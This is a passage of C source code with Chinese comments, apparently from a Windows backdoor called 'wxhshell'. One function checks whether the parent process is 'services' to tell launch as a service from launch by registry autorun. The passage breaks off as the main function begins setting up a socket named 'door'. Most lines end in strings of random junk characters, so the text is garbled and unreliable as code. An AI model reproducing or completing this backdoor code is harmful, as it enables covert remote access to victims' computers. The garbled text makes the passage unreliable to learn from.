ULONG InheritedFromUniqueProcessId; @ fMlbJq
} PROCESS_BASIC_INFORMATION; vE9"1M
b#I,Z+0ry
PROCNTQSIP NtQueryInformationProcess; '\{ OQH
6Y [&1c8
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s>;"bzzq
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oRd{?I&NY
>*!T`P}p
HANDLE hProcess; @Xoh@:j\
PROCESS_BASIC_INFORMATION pbi; ~jw:4sG
Kj?)]Z4
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *4~7p4[
if(NULL == hInst ) return 0; )%jS9e{d
L\ysy2E0
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s-*N_Dv
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c+{XP&g8_J
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6No.2Oo
tgBA(2/Co
if (!NtQueryInformationProcess) return 0; 26~rEOgJ
;s3@(OnjZ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Rb<|
<D+
if(!hProcess) return 0; d '2JMdbc
:C;fEJN
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =x w:@(]{
5 n 4/}s
CloseHandle(hProcess); =O8 YU)#
#~j $J
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QqL?? p-S>
if(hProcess==NULL) return 0; ~oOv/1v},
`*CoVx~fk
HMODULE hMod; b5g^{bzwu
char procName[255]; \nOV2(FAT
unsigned long cbNeeded; r;f\^hVy
blz#M #
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &h[)nD
G%gdI3h1Z
CloseHandle(hProcess); 7#
'j>]
3znhpHO)
if(strstr(procName,"services")) return 1; // 以服务启动 M/V"Ke"N
F-Z>WC{+
return 0; // 注册表启动 Q9y|1Wg1W
} *QW.#y>"j
dY?l
oFz
// 主模块 A f?&VD4K
int StartWxhshell(LPSTR lpCmdLine) XF{2'x_R
{ JBQ>"X^
SOCKET wsl; 5YZ\@<|rH
BOOL val=TRUE; @W+8z#xr'
int port=0; 21$^k5
struct sockaddr_in door; KI<